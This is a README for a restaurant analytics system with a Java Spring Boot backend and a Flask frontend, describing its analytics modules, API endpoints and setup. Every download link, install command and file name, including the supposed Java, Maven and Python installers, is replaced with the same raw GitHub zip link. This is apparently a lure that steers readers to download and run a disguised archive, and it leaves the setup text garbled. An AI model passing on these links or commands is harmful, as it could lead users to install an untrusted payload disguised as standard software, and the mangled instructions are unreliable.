Uber Eats Restaurant Analytics System

A comprehensive restaurant analytics platform built with Java Spring Boot backend and Python Flask frontend, featuring advanced data processing, interactive visualizations, and detailed reporting capabilities.

🚀 Quick Start Options

Option 1: Immediate Demo (Python-only with Mock Data)

Perfect for quickly exploring the interface with sample data:

https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip

Then open http://localhost:5000

Option 2: Full System (Complete Analytics Platform)

For full functionality with real data processing:

https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip

Then open http://localhost:5000

📋 Prerequisites & Installation

System Requirements

• Operating System: Windows 10/11
• RAM: Minimum 4GB, Recommended 8GB+
• Storage: 2GB free space
• Ports: 8080 (backend), 5000 (frontend)

Required Software

1. Java 17 or Higher

• Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
• Installation:
  • Download the Windows x64 MSI installer
  • Run installer and ensure "Add to PATH" is checked
• Verify: java -version

2. Apache Maven 3.6+

• Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
• Installation:
  • Download Binary zip archive (https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip)
  • Extract to C:\Program Files\Apache\maven
  • Add C:\Program Files\Apache\maven\bin to system PATH
• Verify: mvn -version

3. Python 3.8+

• Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
• Installation:
  • Download Windows installer
  • IMPORTANT: Check "Add Python to PATH" during installation
• Verify: python --version

Manual Setup (Alternative)

If automated scripts don't work:

1. Install Python Dependencies

   cd frontend
   pip install -r https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
   cd ..

2. Compile Java Backend

   cd backend
   mvn compile
   cd ..

3. Start Backend (in one terminal)

   cd backend
   mvn spring-boot:run

4. Start Frontend (in another terminal)

   cd frontend
   python https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip

🏗️ System Architecture

Backend (Java Spring Boot)

• Modular Pipeline: Ingestion → Transformation → Analytics → API
• Source-Agnostic Ingestion: CSV, JSON, Database, APIs
• Chunk-Based Processing: Handles large files (5GB+)
• Error Handling: Dead-letter queue for failed operations
• REST APIs: JSON endpoints for analytics results

Frontend (Python Flask)

• Web GUI: Interactive management dashboard
• Visualizations: Plotly/Seaborn/Matplotlib charts
• Report Export: CSV, PDF formats
• Filtering: Branch selector, time filters, seasonal analysis

📊 Analytics Modules

1. Peak Dining Analysis

• Heatmaps: Order volume by hour and outlet
• Peak Hour Tables: Top performing time slots
• Branch Summaries: Performance metrics per location
• Daily/Weekly Patterns: Temporal analysis

2. Customer Demographics & Segmentation

• Age Distribution: Customer age group analysis
• Gender Analysis: Gender-based patterns
• Loyalty Groups: Customer segmentation by loyalty
• Spending Patterns: Behavioral analysis
• RFM Analysis: Recency, Frequency, Monetary segmentation

3. Customer Seasonal Behavior

• Seasonal Retention: Customer retention across seasons
• Loyalty Index: Customer loyalty scoring
• Seasonal Spending: Spending patterns by season
• Customer Lifecycle: Lifespan analysis

4. Popular Menu & Order Flow Analysis

• Top Items: Most popular menu items
• Category Analysis: Performance by food category
• Item Combos: Frequently ordered combinations
• Sankey Diagrams: Order flow visualization
• Spice Level Preferences: Customer taste preferences
• Vegetarian Analysis: Dietary preference insights

5. Ticket Counting & Revenue Analysis

• Revenue Summary: Total revenue and growth metrics
• Daily/Monthly Revenue: Time-based revenue trends
• Average Order Value: AOV analysis by various dimensions
• Payment Method Analysis: Payment preference insights
• Outlet Revenue Comparison: Branch performance comparison

6. Service Anomaly Detection

• Preparation Time Anomalies: Unusual cooking times
• Order Volume Anomalies: Unexpected order patterns
• Revenue Anomalies: Unusual revenue patterns
• Customer Behavior Anomalies: Unusual spending patterns
• Alert Logs: Automated alert system

7. Branch Performance Analysis

• Branch Dashboards: Comprehensive branch metrics
• Branch Rankings: Performance-based rankings
• Efficiency Analysis: Operational efficiency metrics
• Customer Satisfaction: Satisfaction indicators

🎯 Key Features

Interactive Dashboard

• Real-time Analytics: Live data analysis and visualization
• Filtering System: Multi-dimensional filtering (outlet, season, festival)
• Responsive Design: Works on desktop, tablet, and mobile
• Interactive Charts: Plotly-powered interactive visualizations

Advanced Analytics

• Statistical Analysis: Z-score based anomaly detection
• Time Series Analysis: Temporal pattern recognition
• Customer Segmentation: RFM analysis and loyalty scoring
• Performance Metrics: KPI tracking and benchmarking

Export Capabilities

• CSV Export: Raw data for further analysis
• PDF Reports: Formatted reports with charts and tables
• Customizable Filters: Export specific data subsets

Seasonal & Festival Filtering

• Seasons: Spring, Summer, Autumn, Winter
• Festivals: Christmas, New Year, Valentine's Day, Easter, Diwali, Vesak
• Custom Periods: Flexible date range filtering

🔧 Installation & Setup

See https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip for detailed setup instructions.

📁 Project Structure

uber-eats-restaurant-analytics/
├── backend/                    # Java Spring Boot Backend
│   ├── src/main/java/com/restaurant/analytics/
│   │   ├── ingestion/         # Data ingestion module
│   │   ├── transform/         # Data transformation
│   │   ├── analytics/         # Analytics engines
│   │   ├── api/              # REST API controllers
│   │   └── model/            # Data models
│   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip               # Maven configuration
│   └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
├── frontend/                   # Python Flask Frontend
│   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip                 # Main Flask application
│   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip           # Mock data version (for demo)
│   ├── routes/
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip       # Dashboard routes
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip         # Report generation
│   │   └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip          # Chart endpoints
│   ├── templates/             # HTML templates (minimal design)
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip         # Base template with right sidebar
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip        # Dashboard with blue/gray theme
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip     # Analytics modules
│   │   ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip      # Report generation
│   │   └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
│   └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip       # Python dependencies
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip                  # Full system setup script
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip     # Python-only setup script
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip            # Start full system
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip         # Start backend only
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip        # Start frontend (requires backend)
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip   # Start frontend with mock data
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip  # Sample dataset
└── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip                 # This comprehensive guide

🎨 Design Features

Modern Minimal Interface

• Color Scheme: Simple blue (#4a90e2), light gray (#6c757d), and white
• Layout: Clean design with right-positioned sidebar
• Navigation: Intuitive menu structure for easy access
• Responsive: Works on desktop, tablet, and mobile devices

Interactive Dashboard

• Real-time Analytics: Live data analysis and visualization
• Filtering System: Multi-dimensional filtering (outlet, season, festival)
• Interactive Charts: Plotly-powered visualizations with minimal color palette
• Export Options: CSV and PDF report generation

🌐 API Endpoints

Analytics Endpoints

• GET /api/analytics/peak-dining - Peak dining analysis
• GET /api/analytics/customer-demographics - Customer demographics
• GET /api/analytics/customer-seasonal - Seasonal behavior
• GET /api/analytics/menu-analysis - Menu analysis
• GET /api/analytics/revenue-analysis - Revenue analysis
• GET /api/analytics/anomaly-detection - Anomaly detection
• GET /api/analytics/branch-performance - Branch performance
• GET /api/analytics/outlets - List of outlets

Query Parameters

• outletId - Filter by specific outlet
• season - Filter by season (spring, summer, autumn, winter)
• festival - Filter by festival period

Export Endpoints

• GET /reports/export/csv/{analysis_type} - Export as CSV
• GET /reports/export/pdf/{analysis_type} - Export as PDF

🚨 Troubleshooting

Common Issues

"Java is not recognized"

• Problem: Java not installed or not in PATH
• Solution: Install Java 17+ from https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip and ensure PATH is set

"mvn is not recognized"

• Problem: Maven not installed or not in PATH
• Solution: Install Maven and add to PATH (see installation guide above)

"python is not recognized"

• Problem: Python not installed or not in PATH
• Solution: Install Python and check "Add to PATH", or use py command

Backend won't start

• Check Java version: java -version (should be 17+)
• Check Maven: mvn -version
• Ensure port 8080 is available
• Review console error messages

Frontend connection errors

• Ensure backend is running first at http://localhost:8080
• Verify Python dependencies are installed
• Check port 5000 is available

Data loading issues

• Ensure https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip is in backend directory
• Check file permissions
• Review backend console for error messages

Feature Comparison

Full Installation Features

• ✅ All 7 analytics modules
• ✅ Real-time data processing
• ✅ Interactive charts and visualizations
• ✅ CSV/PDF export functionality
• ✅ Advanced filtering (season, festival, outlet)
• ✅ Anomaly detection
• ✅ Large file processing (5GB+)

Python-only (Mock Data) Features

• ✅ User interface demonstration
• ✅ Basic chart examples
• ❌ Real data processing
• ❌ Export functionality
• ❌ Advanced analytics

🔮 Future Enhancements

• Real-time data streaming integration
• Machine learning prediction models
• Advanced forecasting capabilities
• Multi-tenant restaurant support
• Role-based access control system
• Mobile application development
• Advanced dashboard customization
• API rate limiting and security enhancements

📄 License & Usage

This Uber Eats Restaurant Analytics System is designed for educational and commercial use in restaurant analytics and business intelligence applications.

🏗️ System Architecture

CSV Data → Java Backend (Spring Boot) → REST APIs → Python Frontend (Flask) → Web Dashboard

The system follows a modular architecture with clear separation of concerns:

• Data Layer: CSV file processing and storage
• Processing Layer: Java Spring Boot for heavy analytics computations
• API Layer: RESTful services for data exchange
• Presentation Layer: Python Flask web application with minimal design
• User Interface: Clean, responsive web dashboard with blue/gray color scheme

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Note: This system includes both a full-featured version (requires Java/Maven) and a demo version (Python-only with mock data) to accommodate different setup and demonstration requirements.